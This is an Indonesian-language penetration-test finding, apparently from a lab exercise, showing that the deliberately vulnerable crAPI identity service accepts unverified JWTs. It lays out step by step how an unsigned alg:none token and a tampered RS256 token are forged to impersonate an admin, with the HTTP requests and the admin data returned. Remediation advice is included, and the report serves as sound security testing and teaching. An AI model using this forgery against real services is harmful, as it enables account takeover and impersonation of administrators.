Kerentanan
[FAIL] JWT Signature Not Verified - Authentication - JWT Validation
Deskripsi
Layanan identity crAPI tidak memverifikasi tanda tangan JWT. Token ber-header alg:none tanpa signature diterima, dan token RS256 yang payload-nya diubah tanpa di-resign juga diterima. Penyerang bebas memalsukan token untuk user mana pun dan menaikkan role menjadi admin.
Dampak
Confidentiality: data akun korban dapat dibaca. Integrity: identitas & role (admin) dapat dipalsukan -> account takeover penuh atas seluruh pengguna tanpa kredensial.
CWE
CWE-347: Improper Verification of Cryptographic Signature
OWASP
API2:2023 - Broken Authentication
Skenario
Normal: token sah role=user hanya mengakses data sendiri. Eksploitasi: token palsu (alg:none / RS256 ter-edit) menyamar sebagai ADMIN (sub=[REDACTED-EMAIL], role=admin) -> mengakses akun admin (id=5) -> CIA (Confidentiality + Integrity).
Endpoint
GET http://127.0.0.1:8888/identity/api/v2/user/dashboard (seluruh endpoint identity berbasis JWT)
Fitur terdampak
Autentikasi berbasis JWT (crapi-identity)
Rekomendasi perbaikan
- Verifikasi signature JWT dengan kunci publik RS256 pada tiap request.
- Tolak eksplisit alg:none & lakukan algorithm allow-listing (hanya RS256).
- Gunakan pustaka JWT matang; validasi exp/iss/aud.
Bukti konsep
- (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/vehicles dengan token RS256 sah (ditampilkan utuh) -> 200, hanya data milik sendiri.
- (Screenshot 2) PROSES alg:none: bongkar token asli, base64url-decode header & payload, ubah alg menjadi 'none' tanpa signature dan payload sub=[REDACTED-EMAIL]/role=admin, lalu susun ulang menjadi token palsu (ditampilkan utuh).
- (Screenshot 3) EKSPLOITASI: kirim token alg:none -> 200 mengembalikan akun ADMIN (id=5, ROLE_ADMIN).
- (Screenshot 4) PROSES tamper RS256: ambil token RS256 asli, edit payload sub=[REDACTED-EMAIL] & role=admin, pasang kembali signature LAMA tanpa re-sign (token utuh).
- (Screenshot 5) DAMPAK CIA: kirim token RS256 tampered -> tetap 200 mengembalikan akun ADMIN -> membuktikan signature tidak diverifikasi (Confidentiality + Integrity).
Rekaman lengkap
LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.
Normal: akses dengan token sendiri yang valid
Normal: penyerang menggunakan token RS256 miliknya yang valid (role=user) untuk mengakses datanya sendiri. Rekaman sumber memuat token lengkap; nilai kredensial disamarkan dalam tampilan HTML ini.
HTTP request
GET /identity/api/v2/vehicle/vehicles HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 368
[
{
"id": 6,
"uuid": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
"pincode": "8392",
"vin": "861P9NB3CL6ZEA9X1",
"year": 2026,
"status": "INACTIVE",
"previousOwners": [],
"model": {
"id": 4,
"model": "5 Series",
"fuel_type": "PETROL",
"vehicle_img": "images/bmw-5.jpg",
"vehiclecompany": {
"id": 4,
"name": "BMW"
}
},
"vehicleLocation": {
"id": 4,
"latitude": "38.206348",
"longitude": "-84.270172"
},
"owner": null
}
]
Bongkar JWT asli -> ubah alg:none & sub=admin, role=admin -> susun ulang token palsu (utuh)
PROSES: buat token alg:none
Header memakai alg:none sehingga tidak perlu signature. Payload diubah untuk MENYAMAR sebagai admin (sub=[REDACTED-EMAIL], role=admin).
Detail proses
== 1. Token asli hasil login (format: header.payload.signature) ==
[REDACTED-LAB-TOKEN]
== 2. Base64URL-decode tiap bagian ==
header = eyJhbGciOiJSUzI1NiJ9
-> {"alg": "RS256"}
payload = [REDACTED-LAB-TOKEN]
-> {"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}
== 3. Susun token PALSU: alg diganti 'none' (tanpa signature), sub->[REDACTED-EMAIL], role->admin ==
header baru = base64url({"alg": "none", "typ": "JWT"})
= eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
payload baru = base64url({"sub": "[REDACTED-EMAIL]", "role": "admin", "iat": 1790690714, "exp": 1999999999})
= [REDACTED-LAB-TOKEN]
signature = (KOSONG)
== 4. Token PALSU hasil akhir (utuh, tidak dipotong) ==
[REDACTED-LAB-TOKEN]
Hasil: token tanpa signature diterima sebagai admin
Hasil: server menerima token alg:none tanpa signature dan mengembalikan akun admin (id=5, ROLE_ADMIN). Rekaman ini mencatat keberhasilan menyamar sepenuhnya sebagai admin. Sumber memuat token lengkap di header; nilai kredensial disamarkan dalam tampilan HTML ini.
HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231
{
"id": 5,
"name": "Admin",
"email": "[REDACTED-EMAIL]",
"number": "9010203040",
"picture_url": null,
"video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
"video_name": "Admin_video",
"available_credit": 100.0,
"video_id": 5,
"role": "ROLE_ADMIN"
}
Ubah klaim RS256 ke sub=admin dan role=admin; pertahankan signature asli yang kini tidak valid
Persiapan: ubah payload, pertahankan signature
Persiapan: ubah payload RS256, tetapi pertahankan signature asli. Signature tidak lagi cocok dengan payload sehingga token seharusnya ditolak, tetapi crAPI tetap menerimanya.
Detail proses
== 1. Token RS256 asli (signature valid) ==
[REDACTED-LAB-TOKEN]
== 2. Decode payload ==
{"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}
== 3. Ubah payload (role user->admin, sub->[REDACTED-EMAIL]). Header & signature TIDAK diubah ==
payload baru = base64url({"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "admin"})
= [REDACTED-LAB-TOKEN]
header = eyJhbGciOiJSUzI1NiJ9 (tetap, alg RS256)
signature = qiVE1YKhnGZYsQoV8qLrVMWSqX1XkvyP_8xBeCNs40s0BwNFP6ml5JkS_qAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh17OaiYFPlhalYV7A4h7XGY9sQNFyFwhlGXTSpSE5vNGzMBGVb_QXNoeabnuvIWnerN6wlkLL0vEKMIvtAkEUPey1GciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAvN697pn2czd98QQdK2E-DCQSyt8K8PLFRl1qqBO3gDeIv2HFJ-R-eds9QfnoeCUUk4BPBcND7BbqTFVVx6FUVx-A_lsIe8KmGNSllOP6zcDsSmQFMHmubilsdv7g (signature LAMA, TIDAK di-resign)
== 4. Token hasil (header.payload_baru.signature_lama) -- signature tak cocok dgn payload (utuh) ==
[REDACTED-LAB-TOKEN]
Dampak: token RS256 yang diubah tetap diterima
Dampak: token dengan signature yang tidak cocok tetap mendapat response 200. Data akun admin terbaca sehingga kerahasiaan terdampak; pemalsuan identitas dan role admin berdampak pada integritas. Server tidak memverifikasi signature.
HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231
{
"id": 5,
"name": "Admin",
"email": "[REDACTED-EMAIL]",
"number": "9010203040",
"picture_url": null,
"video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
"video_name": "Admin_video",
"available_credit": 100.0,
"video_id": 5,
"role": "ROLE_ADMIN"
}
← Kasus sebelumnya: Improper Inventory Management - Authentication - OTP Endpoint Versions Kasus berikutnya: Mass Assignment - Authentication - User Registration →